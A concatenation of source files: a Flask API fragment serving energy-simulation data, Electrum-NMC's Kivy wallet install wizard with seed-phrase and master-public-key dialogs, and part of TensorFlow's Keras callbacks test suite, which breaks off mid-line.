@app.route('/windturbine/current_sim_latest', methods=['GET']) def get_windturbine_current_simulation_latest(): return current_simulation_latest(entityModels.SimulationWindTurbine) @app.route('/solarpanel/current_sim_latest', methods=['GET']) def get_solarpanel_current_simulation_latest(): return current_simulation_latest(entityModels.SimulationSolarPanel) @app.route('/building/current_sim_latest', methods=['GET']) def get_building_current_simulation_latest(): return current_simulation_latest(entityModels.SimulationBuilding) def current_simulation_latest(model): ''' Answers a http request for a given model with the latest values. ''' if request.method == 'GET': try: session = entityDB.create_session() date = session.query(func.max(model.timestamp)).first() if date == None: return "No data", 404 data_sim = session.query(model).filter_by(timestamp=date[0]).all() dataDict = [data.toDict() for data in data_sim] return json.dumps(dataDict, cls=Encoder), 200 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/total/current_sim', methods=['GET']) def get_total_current_simulation(): return current_simulation(entityModels.SimulationTotalEnergy) @app.route('/battery/current_sim', methods=['GET']) def get_battery_current_simulation(): return current_simulation(entityModels.SimulationBattery) @app.route('/windturbine/current_sim', methods=['GET']) def get_windturbine_current_simulation(): return current_simulation(entityModels.SimulationWindTurbine) @app.route('/solarpanel/current_sim', methods=['GET']) def get_solarpanel_current_simulation(): return current_simulation(entityModels.SimulationSolarPanel) @app.route('/building/current_sim', methods=['GET']) def get_building_current_simulation(): return current_simulation(entityModels.SimulationBuilding) def current_simulation(model): ''' Answers a http request for a given model with the values of the last 24 hours. ''' if request.method == 'GET': try: session = entityDB.create_session() date = session.query(func.max(model.timestamp)).first() if date == None: return "No data", 404 data_sim = session.query(model) \ .filter(model.timestamp > (date[0]-timedelta(days=1))) \ .all() dataDict = [data.toDict() for data in data_sim] return json.dumps(dataDict, cls=Encoder), 200 finally: entityDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/total/sim/<string:date>', methods=['GET']) def get_total_simulation_by_date(date): return get_simulation_by_date(entityModels.SimulationTotalEnergy, date) @app.route('/battery/sim/<string:date>', methods=['GET']) def get_battery_simulation_by_date(date): return get_simulation_by_date(entityModels.SimulationBattery, date) @app.route('/windturbine/sim/<string:date>', methods=['GET']) def get_windturbine_simulation_by_date(date): return get_simulation_by_date(entityModels.SimulationWindTurbine, date) @app.route('/solarpanel/sim/<string:date>', methods=['GET']) def get_solarpanel_simulation_by_date(date): return get_simulation_by_date(entityModels.SimulationSolarPanel, date) @app.route('/building/sim/<string:date>', methods=['GET']) def get_building_simulation_by_date(date): return get_simulation_by_date(entityModels.SimulationBuilding, date) def get_simulation_by_date(model, date_string): ''' Answers a http request for a given model and date with all values for this day. ''' if request.method == 'GET': try: session = entityDB.create_session() date = datetime.strptime(date_string, "%Y-%m-%dT%H:%M:%S") date = date.replace(hour=0, minute=0, second=0) data_sim = session.query(model) \ .filter(model.timestamp >= date, model.timestamp < (date + timedelta(days=1))) \ .all() if len(data_sim) == 0: return "No data for this day", 404 dataDict = [data.toDict() for data in data_sim] return json.dumps(dataDict, cls=Encoder), 200 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 ###################################### # functionS for the simulation # ###################################### @app.route('/simulation/isStarted', methods=['GET']) def is_simulation_started(): ''' Answers a http request whether a simulation is running. ''' if request.method == 'GET': number_of_running_sims = get_number_of_running_simulations() state = (not (0 == number_of_running_sims)) return json.dumps({"is_started":state}), 200 return "HTTP-Method not supported", 404 @app.route('/simulation/start', methods=['POST']) def start_sim(): if request.method == 'POST': if get_number_of_running_simulations() == 0: r = requests.post(config.URL_SIMULATION_SERVICE + "/simulation/init") print("Simulate init", r) if r.status_code != 201: return "Simulate init error", r.status_code t = threading.Thread(target=start_sim_init_helper) t.start() return "Simulation started", 201 else: return "Simulation is already running", 423 return "HTTP-Method not supported", 404 def start_sim_init_helper(): r = requests.post(config.URL_WEATHER_SERVICE + "/updateWeather") print("Update weather data", r) r = requests.post(config.URL_PRICE_SERVICE + "/updateprices") print("Update price data", r) r = requests.post(config.URL_SIMULATION_SERVICE + "/simulation/forecast") print("Simulate forecast", r) r = requests.post(config.URL_OPTIMIZER_SERVICE + "/optimizer/generateSchedule") print("Generate schedule", r) r = requests.post(config.URL_SIMULATION_SERVICE + "/simulation/nextHour") print("Simulate next hour", r) #################################### # getter-function for the schedule # #################################### @app.route('/optimizer/getSchedule/<string:date_string>', methods=['GET']) def get_schedule(date_string): """ Answers a http request for a schedule for a given day. """ if request.method == 'GET': try: session = priceDB.create_session() date = datetime.strptime(date_string, "%Y-%m-%dT%H:%M:%S") date = date.replace(hour=0, minute=0, second=0) schedule = session.query(optimizerModel.Schedule).filter_by(date=date).first() return schedule.toJson(), 200 except Exception as e: return str(e), 500 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 #################### # helper-functions # #################### def getAllJson(db, model): """ This function queries all entities for a given model from the database and sends a json http response back to the client. """ if request.method == 'GET': try: session = db.create_session() elements = db.getAll(session, model) elementsDict = [element.toDict() for element in elements] return json.dumps(elementsDict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: db.close_session(session) return "HTTP-Method not supported", 404 def getByNameJson(model, name): """ This function queries an entity specified by its name and model from the database and sends it as json http response back to the client. """ if request.method == 'GET': try: session = entityDB.create_session() element = session.query(model).filter_by(name=name).first() if element: return element.toJson(), 200 else: return "No such element", 404 except Exception as e: return str(e), 500 finally: entityDB.close_session(session) return "HTTP-Method not supported", 404 def get_number_of_running_simulations(): """ Returns the number of running simulations. If there is no error, it should be either 0 or 1. """ try: session_entityDB = entityDB.create_session() # stop running simulations return session_entityDB.query(entityModels.Simulation).filter_by(running=True).count() finally: entityDB.close_session(session_entityDB) if __name__ == '__main__': app.run(debug=True, port=5000) #run app in debug mode on port 5000
installwizard.py
from functools import partial import threading from kivy.app import App from kivy.clock import Clock from kivy.lang import Builder from kivy.properties import ObjectProperty, StringProperty, OptionProperty from kivy.core.window import Window from kivy.uix.button import Button from kivy.utils import platform from kivy.uix.widget import Widget from kivy.core.window import Window from kivy.clock import Clock from kivy.utils import platform from electrum_nmc.base_wizard import BaseWizard from . import EventsDialog from ...i18n import _ from .password_dialog import PasswordDialog # global Variables is_test = (platform == "linux") test_seed = "time taxi field recycle tiny license olive virus report rare steel portion achieve" test_xpub = "xpub661MyMwAqRbcEbvVtRRSjqxVnaWVUMewVzMiURAKyYratih4TtBpMypzzefmv8zUNebmNVzB3PojdC5sV2P9bDgMoo9B3SARw1MXUUfU1GL" Builder.load_string(''' #:import Window kivy.core.window.Window #:import _ electrum_nmc_gui.kivy.i18n._ <WizardTextInput@TextInput> border: 4, 4, 4, 4 font_size: '15sp' padding: '15dp', '15dp' background_color: (1, 1, 1, 1) if self.focus else (0.454, 0.698, 0.909, 1) foreground_color: (0.31, 0.31, 0.31, 1) if self.focus else (0.835, 0.909, 0.972, 1) hint_text_color: self.foreground_color background_active: 'atlas://gui/kivy/theming/light/create_act_text_active' background_normal: 'atlas://gui/kivy/theming/light/create_act_text_active' size_hint_y: None height: '48sp' <WizardButton@Button>: root: None size_hint: 1, None height: '48sp' on_press: if self.root: self.root.dispatch('on_press', self) on_release: if self.root: self.root.dispatch('on_release', self) <BigLabel@Label> color: .854, .925, .984, 1 size_hint: 1, None text_size: self.width, None height: self.texture_size[1] bold: True <-WizardDialog> text_color: .854, .925, .984, 1 value: '' #auto_dismiss: False size_hint: None, None canvas.before: Color: rgba: 0, 0, 0, .9 Rectangle: size: Window.size Color: rgba: .239, .588, .882, 1 Rectangle: size: Window.size crcontent: crcontent # add electrum icon BoxLayout: orientation: 'vertical' if self.width < self.height else 'horizontal' padding: min(dp(27), self.width/32), min(dp(27), self.height/32),\ min(dp(27), self.width/32), min(dp(27), self.height/32) spacing: '10dp' GridLayout: id: grid_logo cols: 1 pos_hint: {'center_y': .5} size_hint: 1, None height: self.minimum_height Label: color: root.text_color text: 'ELECTRUM' size_hint: 1, None height: self.texture_size[1] if self.opacity else 0 font_size: '33sp' font_name: 'gui/kivy/data/fonts/tron/Tr2n.ttf' GridLayout: cols: 1 id: crcontent spacing: '1dp' Widget: size_hint: 1, 0.3 GridLayout: rows: 1 spacing: '12dp' size_hint: 1, None height: self.minimum_height WizardButton: id: back text: _('Back') root: root WizardButton: id: next text: _('Next') root: root disabled: root.value == '' <WizardMultisigDialog> value: 'next' Widget size_hint: 1, 1 Label: color: root.text_color size_hint: 1, None text_size: self.width, None height: self.texture_size[1] text: _("Choose the number of signatures needed to unlock funds in your wallet") Widget size_hint: 1, 1 GridLayout: orientation: 'vertical' cols: 2 spacing: '14dp' size_hint: 1, 1 height: self.minimum_height Label: color: root.text_color text: _('From {} cosigners').format(n.value) Slider: id: n range: 2, 5 step: 1 value: 2 Label: color: root.text_color text: _('Require {} signatures').format(m.value) Slider: id: m range: 1, n.value step: 1 value: 2 <WizardChoiceDialog> message : '' Widget: size_hint: 1, 1 Label: color: root.text_color size_hint: 1, None text_size: self.width, None height: self.texture_size[1] text: root.message Widget size_hint: 1, 1 GridLayout: row_default_height: '48dp' orientation: 'vertical' id: choices cols: 1 spacing: '14dp' size_hint: 1, None <MButton@Button>: size_hint: 1, None height: '33dp' on_release: self.parent.update_amount(self.text) <WordButton@Button>: size_hint: None, None padding: '5dp', '5dp' text_size: None, self.height width: self.texture_size[0] height: '30dp' on_release: self.parent.new_word(self.text) <SeedButton@Button>: height: dp(100) border: 4, 4, 4, 4 halign: 'justify' valign: 'top' font_size: '18dp' text_size: self.width - dp(24), self.height - dp(12) color: .1, .1, .1, 1 background_normal: 'atlas://gui/kivy/theming/light/white_bg_round_top' background_down: self.background_normal size_hint_y: None <SeedLabel@Label>: font_size: '12sp' text_size: self.width, None size_hint: 1, None height: self.texture_size[1] halign: 'justify' valign: 'middle' border: 4, 4, 4, 4 <RestoreSeedDialog> message: '' word: '' BigLabel: text: "ENTER YOUR SEED PHRASE" GridLayout cols: 1 padding: 0, '12dp' orientation: 'vertical' spacing: '12dp' size_hint: 1, None height: self.minimum_height SeedButton: id: text_input_seed text: '' on_text: Clock.schedule_once(root.on_text) on_release: root.options_dialog() SeedLabel: text: root.message BoxLayout: id: suggestions height: '35dp' size_hint: 1, None new_word: root.on_word BoxLayout: id: line1 update_amount: root.update_text size_hint: 1, None height: '30dp' MButton: text: 'Q' MButton: text: 'W' MButton: text: 'E' MButton: text: 'R' MButton: text: 'T' MButton: text: 'Y' MButton: text: 'U' MButton: text: 'I' MButton: text: 'O' MButton: text: 'P' BoxLayout: id: line2 update_amount: root.update_text size_hint: 1, None height: '30dp' Widget: size_hint: 0.5, None height: '33dp' MButton: text: 'A' MButton: text: 'S' MButton: text: 'D' MButton: text: 'F' MButton: text: 'G' MButton: text: 'H' MButton: text: 'J' MButton: text: 'K' MButton: text: 'L' Widget: size_hint: 0.5, None height: '33dp' BoxLayout: id: line3 update_amount: root.update_text size_hint: 1, None height: '30dp' Widget: size_hint: 1, None MButton: text: 'Z' MButton: text: 'X' MButton: text: 'C' MButton: text: 'V' MButton: text: 'B' MButton: text: 'N' MButton: text: 'M' MButton: text: ' ' MButton: text: '<' <AddXpubDialog> title: '' message: '' BigLabel: text: root.title GridLayout cols: 1 padding: 0, '12dp' orientation: 'vertical' spacing: '12dp' size_hint: 1, None height: self.minimum_height SeedButton: id: text_input text: '' on_text: Clock.schedule_once(root.check_text) SeedLabel: text: root.message GridLayout rows: 1 spacing: '12dp' size_hint: 1, None height: self.minimum_height IconButton: id: scan height: '48sp' on_release: root.scan_xpub() icon: 'atlas://gui/kivy/theming/light/camera' size_hint: 1, None WizardButton: text: _('Paste') on_release: root.do_paste() WizardButton: text: _('Clear') on_release: root.do_clear() <ShowXpubDialog> xpub: '' message: _('Here is your master public key. Share it with your cosigners.') BigLabel: text: "MASTER PUBLIC KEY" GridLayout cols: 1 padding: 0, '12dp' orientation: 'vertical' spacing: '12dp' size_hint: 1, None height: self.minimum_height SeedButton: id: text_input text: root.xpub SeedLabel: text: root.message GridLayout rows: 1 spacing: '12dp' size_hint: 1, None height: self.minimum_height WizardButton: text: _('QR code') on_release: root.do_qr() WizardButton: text: _('Copy') on_release: root.do_copy() WizardButton: text: _('Share') on_release: root.do_share() <ShowSeedDialog> spacing: '12dp' value: 'next' BigLabel: text: "PLEASE WRITE DOWN YOUR SEED PHRASE" GridLayout: id: grid cols: 1 pos_hint: {'center_y': .5} size_hint_y: None height: self.minimum_height orientation: 'vertical' spacing: '12dp' SeedButton: text: root.seed_text on_release: root.options_dialog() SeedLabel: text: root.message <LineDialog> BigLabel: text: root.title SeedLabel: text: root.message TextInput: id: passphrase_input multiline: False size_hint: 1, None height: '27dp' SeedLabel: text: root.warning ''') class WizardDialog(EventsDialog): ''' Abstract dialog to be used as the base for all Create Account Dialogs ''' crcontent = ObjectProperty(None) def __init__(self, wizard, **kwargs): super(WizardDialog, self).__init__() self.wizard = wizard self.ids.back.disabled = not wizard.can_go_back() self.app = App.get_running_app() self.run_next = kwargs['run_next'] _trigger_size_dialog = Clock.create_trigger(self._size_dialog) Window.bind(size=_trigger_size_dialog, rotation=_trigger_size_dialog) _trigger_size_dialog() self._on_release = False def _size_dialog(self, dt): app = App.get_running_app() if app.ui_mode[0] == 'p': self.size = Window.size else: #tablet if app.orientation[0] == 'p': #portrait self.size = Window.size[0]/1.67, Window.size[1]/1.4 else: self.size = Window.size[0]/2.5, Window.size[1] def add_widget(self, widget, index=0): if not self.crcontent: super(WizardDialog, self).add_widget(widget) else: self.crcontent.add_widget(widget, index=index) def on_dismiss(self): app = App.get_running_app() if app.wallet is None and not self._on_release: app.stop() def get_params(self, button): return (None,) def on_release(self, button): self._on_release = True self.close() if not button: self.parent.dispatch('on_wizard_complete', None) return if button is self.ids.back: self.wizard.go_back() return params = self.get_params(button) self.run_next(*params) class WizardMultisigDialog(WizardDialog): def get_params(self, button): m = self.ids.m.value n = self.ids.n.value return m, n class WizardChoiceDialog(WizardDialog): def __init__(self, wizard, **kwargs): super(WizardChoiceDialog, self).__init__(wizard, **kwargs) self.message = kwargs.get('message', '') choices = kwargs.get('choices', []) layout = self.ids.choices layout.bind(minimum_height=layout.setter('height')) for action, text in choices: l = WizardButton(text=text) l.action = action l.height = '48dp' l.root = self layout.add_widget(l) def on_parent(self, instance, value): if value: app = App.get_running_app() self._back = _back = partial(app.dispatch, 'on_back') def get_params(self, button): return (button.action,) class LineDialog(WizardDialog): title = StringProperty('') message = StringProperty('') warning = StringProperty('') def __init__(self, wizard, **kwargs): WizardDialog.__init__(self, wizard, **kwargs) self.ids.next.disabled = False def get_params(self, b): return (self.ids.passphrase_input.text,) class ShowSeedDialog(WizardDialog): seed_text = StringProperty('') message = _("If you forget your PIN or lose your device, your seed phrase will be the only way to recover your funds.") ext = False def __init__(self, wizard, **kwargs): super(ShowSeedDialog, self).__init__(wizard, **kwargs) self.seed_text = kwargs['seed_text'] def on_parent(self, instance, value): if value: app = App.get_running_app() self._back = _back = partial(self.ids.back.dispatch, 'on_release') def options_dialog(self): from .seed_options import SeedOptionsDialog def callback(status): self.ext = status d = SeedOptionsDialog(self.ext, callback) d.open() def get_params(self, b): return (self.ext,) class WordButton(Button): pass class WizardButton(Button): pass class RestoreSeedDialog(WizardDialog): def __init__(self, wizard, **kwargs): super(RestoreSeedDialog, self).__init__(wizard, **kwargs) self._test = kwargs['test'] from electrum_nmc.mnemonic import Mnemonic from electrum_nmc.old_mnemonic import words as old_wordlist self.words = set(Mnemonic('en').wordlist).union(set(old_wordlist)) self.ids.text_input_seed.text = test_seed if is_test else '' self.message = _('Please type your seed phrase using the virtual keyboard.') self.title = _('Enter Seed') self.ext = False def options_dialog(self): from .seed_options import SeedOptionsDialog def callback(status): self.ext = status d = SeedOptionsDialog(self.ext, callback) d.open() def get_suggestions(self, prefix): for w in self.words: if w.startswith(prefix): yield w def on_text(self, dt): self.ids.next.disabled = not bool(self._test(self.get_text())) text = self.ids.text_input_seed.text if not text: last_word = '' elif text[-1] == ' ': last_word = '' else: last_word = text.split(' ')[-1] enable_space = False self.ids.suggestions.clear_widgets() suggestions = [x for x in self.get_suggestions(last_word)] if last_word in suggestions: b = WordButton(text=last_word) self.ids.suggestions.add_widget(b) enable_space = True for w in suggestions: if w != last_word and len(suggestions) < 10: b = WordButton(text=w) self.ids.suggestions.add_widget(b) i = len(last_word) p = set() for x in suggestions: if len(x)>i: p.add(x[i]) for line in [self.ids.line1, self.ids.line2, self.ids.line3]: for c in line.children: if isinstance(c, Button): if c.text in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': c.disabled = (c.text.lower() not in p) and bool(last_word) elif c.text == ' ': c.disabled = not enable_space def on_word(self, w): text = self.get_text() words = text.split(' ') words[-1] = w text = ' '.join(words) self.ids.text_input_seed.text = text + ' ' self.ids.suggestions.clear_widgets() def get_text(self): ti = self.ids.text_input_seed return ' '.join(ti.text.strip().split()) def update_text(self, c): c = c.lower() text = self.ids.text_input_seed.text if c == '<': text = text[:-1] else: text += c self.ids.text_input_seed.text = text def on_parent(self, instance, value): if value: tis = self.ids.text_input_seed tis.focus = True #tis._keyboard.bind(on_key_down=self.on_key_down) self._back = _back = partial(self.ids.back.dispatch, 'on_release') app = App.get_running_app() def on_key_down(self, keyboard, keycode, key, modifiers): if keycode[0] in (13, 271): self.on_enter() return True def on_enter(self): #self._remove_keyboard() # press next next = self.ids.next if not next.disabled: next.dispatch('on_release') def _remove_keyboard(self): tis = self.ids.text_input_seed if tis._keyboard: tis._keyboard.unbind(on_key_down=self.on_key_down) tis.focus = False def get_params(self, b): return (self.get_text(), False, self.ext) class ConfirmSeedDialog(RestoreSeedDialog): def get_params(self, b): return (self.get_text(),) def options_dialog(self): pass class ShowXpubDialog(WizardDialog): def __init__(self, wizard, **kwargs): WizardDialog.__init__(self, wizard, **kwargs) self.xpub = kwargs['xpub'] self.ids.next.disabled = False def do_copy(self): self.app._clipboard.copy(self.xpub) def do_share(self): self.app.do_share(self.xpub, _("Master Public Key")) def do_qr(self): from .qr_dialog import QRDialog popup = QRDialog(_("Master Public Key"), self.xpub, True) popup.open() class AddXpubDialog(WizardDialog): def __init__(self, wizard, **kwargs): WizardDialog.__init__(self, wizard, **kwargs) self.is_valid = kwargs['is_valid'] self.title = kwargs['title'] self.message = kwargs['message'] self.allow_multi = kwargs.get('allow_multi', False) def check_text(self, dt): self.ids.next.disabled = not bool(self.is_valid(self.get_text())) def get_text(self): ti = self.ids.text_input return ti.text.strip() def get_params(self, button): return (self.get_text(),) def scan_xpub(self): def on_complete(text): if self.allow_multi: self.ids.text_input.text += text + '\n' else: self.ids.text_input.text = text self.app.scan_qr(on_complete) def do_paste(self): self.ids.text_input.text = test_xpub if is_test else self.app._clipboard.paste() def do_clear(self): self.ids.text_input.text = '' class InstallWizard(BaseWizard, Widget): ''' events:: `on_wizard_complete` Fired when the wizard is done creating/ restoring wallet/s. ''' __events__ = ('on_wizard_complete', ) def on_wizard_complete(self, wallet): """overriden by main_window""" pass def waiting_dialog(self, task, msg): '''Perform a blocking task in the background by running the passed method in a thread. ''' def target(): # run your threaded function try: task() except Exception as err: self.show_error(str(err)) # on completion hide message Clock.schedule_once(lambda dt: app.info_bubble.hide(now=True), -1) app = App.get_running_app() app.show_info_bubble( text=msg, icon='atlas://gui/kivy/theming/light/important', pos=Window.center, width='200sp', arrow_pos=None, modal=True) t = threading.Thread(target = target) t.start() def terminate(self, **kwargs): self.dispatch('on_wizard_complete', self.wallet) def choice_dialog(self, **kwargs): choices = kwargs['choices'] if len(choices) > 1: WizardChoiceDialog(self, **kwargs).open() else: f = kwargs['run_next'] f(choices[0][0]) def multisig_dialog(self, **kwargs): WizardMultisigDialog(self, **kwargs).open() def show_seed_dialog(self, **kwargs): ShowSeedDialog(self, **kwargs).open() def line_dialog(self, **kwargs): LineDialog(self, **kwargs).open() def confirm_seed_dialog(self, **kwargs): kwargs['title'] = _('Confirm Seed') kwargs['message'] = _('Please retype your seed phrase, to confirm that you properly saved it') ConfirmSeedDialog(self, **kwargs).open() def restore_seed_dialog(self, **kwargs): RestoreSeedDialog(self, **kwargs).open() def add_xpub_dialog(self, **kwargs): kwargs['message'] += ' ' + _('Use the camera button to scan a QR code.') AddXpubDialog(self, **kwargs).open() def add_cosigner_dialog(self, **kwargs): kwargs['title'] = _("Add Cosigner") + " %d"%kwargs['index'] kwargs['message'] = _('Please paste your cosigners master public key, or scan it using the camera button.') AddXpubDialog(self, **kwargs).open() def show_xpub_dialog(self, **kwargs): ShowXpubDialog(self, **kwargs).open() def show_error(self, msg): app = App.get_running_app() Clock.schedule_once(lambda dt: app.show_error(msg)) def request_password(self, run_next, force_disable_encrypt_cb=False): def on_success(old_pin, pin): assert old_pin is None run_next(pin, False) def on_failure(): self.show_error(_('PIN mismatch')) self.run('request_password', run_next) popup = PasswordDialog() app = App.get_running_app() popup.init(app, None, _('Choose PIN code'), on_success, on_failure, is_change=2) popup.open() def action_dialog(self, action, run_next): f = getattr(self, action) f()
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for Keras callbacks.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import csv import os import re import shutil import tempfile import threading import unittest import numpy as np from tensorflow.core.framework import summary_pb2 from tensorflow.python import keras from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.framework import test_util from tensorflow.python.keras import testing_utils from tensorflow.python.platform import test from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import adam try: import h5py # pylint:disable=g-import-not-at-top except ImportError: h5py = None try: import requests # pylint:disable=g-import-not-at-top except ImportError: requests = None TRAIN_SAMPLES = 10 TEST_SAMPLES = 10 NUM_CLASSES = 2 INPUT_DIM = 3 NUM_HIDDEN = 5 BATCH_SIZE = 5 class KerasCallbacksTest(test.TestCase): def test_ModelCheckpoint(self): if h5py is None: return # Skip test if models cannot be saved. with self.cached_session(): np.random.seed(1337) temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) filepath = os.path.join(temp_dir, 'checkpoint.h5') (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) # case 1 monitor = 'val_loss' save_best_only = False mode = 'auto' model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy']) cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 2 mode = 'min' cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 3 mode = 'max' monitor = 'val_acc' cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 4 save_best_only = True cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # Case: metric not available. cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor='unknown', save_best_only=True) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) # File won't be written. assert not os.path.exists(filepath) # case 5 save_best_only = False period = 2 mode = 'auto' filepath = os.path.join(temp_dir, 'checkpoint.{epoch:02d}.h5') cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, period=period) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=4, verbose=1) assert os.path.exists(filepath.format(epoch=2)) assert os.path.exists(filepath.format(epoch=4)) os.remove(filepath.format(epoch=2)) os.remove(filepath.format(epoch=4)) assert not os.path.exists(filepath.format(epoch=1)) assert not os.path.exists(filepath.format(epoch=3)) # Invalid use: this will raise a warning but not an Exception. keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode='unknown') def test_EarlyStopping(self): with self.cached_session(): np.random.seed(123) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy']) cases = [ ('max', 'val_acc'), ('min', 'val_loss'), ('auto', 'val_acc'), ('auto', 'loss'), ('unknown', 'unknown') ] for mode, monitor in cases: patience = 0 cbks = [ keras.callbacks.EarlyStopping( patience=patience, monitor=monitor, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) def test_EarlyStopping_reuse(self): with self.cached_session(): np.random.seed(1337) patience = 3 data = np.random.random((100, 1)) labels = np.where(data > 0.5, 1, 0) model = keras.models.Sequential((keras.layers.Dense( 1, input_dim=1, activation='relu'), keras.layers.Dense( 1, activation='sigmoid'),)) model.compile( optimizer='sgd', loss='binary_crossentropy', metrics=['accuracy']) weights = model.get_weights() stopper = keras.callbacks.EarlyStopping(monitor='acc', patience=patience) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) >= patience # This should allow training to go for at least `patience` epochs model.set_weights(weights) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) >= patience def test_EarlyStopping_with_baseline(self): with self.cached_session(): np.random.seed(1337) baseline = 0.5 (data, labels), _ = testing_utils.get_test_data( train_samples=100, test_samples=50, input_shape=(1,), num_classes=NUM_CLASSES) model = testing_utils.get_small_sequential_mlp( num_hidden=1, num_classes=1, input_dim=1) model.compile( optimizer='sgd', loss='binary_crossentropy', metrics=['accuracy']) stopper = keras.callbacks.EarlyStopping(monitor='acc', baseline=baseline) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) == 1 patience = 3 stopper = keras.callbacks.EarlyStopping(monitor='acc', patience=patience, baseline=baseline) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) >= patience def test_EarlyStopping_final_weights_when_restoring_model_weights(self): class DummyModel(object): def __init__(self): self.stop_training = False self.weights = -1 def get_weights(self): return self.weights def set_weights(self, weights): self.weights = weights def set_weight_to_epoch(self, epoch): self.weights = epoch early_stop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=2, restore_best_weights=True) early_stop.model = DummyModel() losses = [0.2, 0.15, 0.1, 0.11, 0.12] # The best configuration is in the epoch 2 (loss = 0.1000). epochs_trained = 0 early_stop.on_train_begin() for epoch in range(len(losses)): epochs_trained += 1 early_stop.model.set_weight_to_epoch(epoch=epoch) early_stop.on_epoch_end(epoch, logs={'val_loss': losses[epoch]}) if early_stop.model.stop_training: break # The best configuration is in epoch 2 (loss = 0.1000), # and while patience = 2, we're restoring the best weights, # so we end up at the epoch with the best weights, i.e. epoch 2 self.assertEqual(early_stop.model.get_weights(), 2) def test_RemoteMonitor(self): if requests is None: return monitor = keras.callbacks.RemoteMonitor() # This will raise a warning since the default address in unreachable: monitor.on_epoch_end(0, logs={'loss': 0.}) def test_LearningRateScheduler(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) cbks = [keras.callbacks.LearningRateScheduler(lambda x: 1. / (1. + x))] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) assert ( float(keras.backend.get_value( model.optimizer.lr)) - 0.2) < keras.backend.epsilon() cbks = [keras.callbacks.LearningRateScheduler(lambda x, lr: lr / 2)] model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) assert ( float(keras.backend.get_value( model.optimizer.lr)) - 0.01 / 4) < 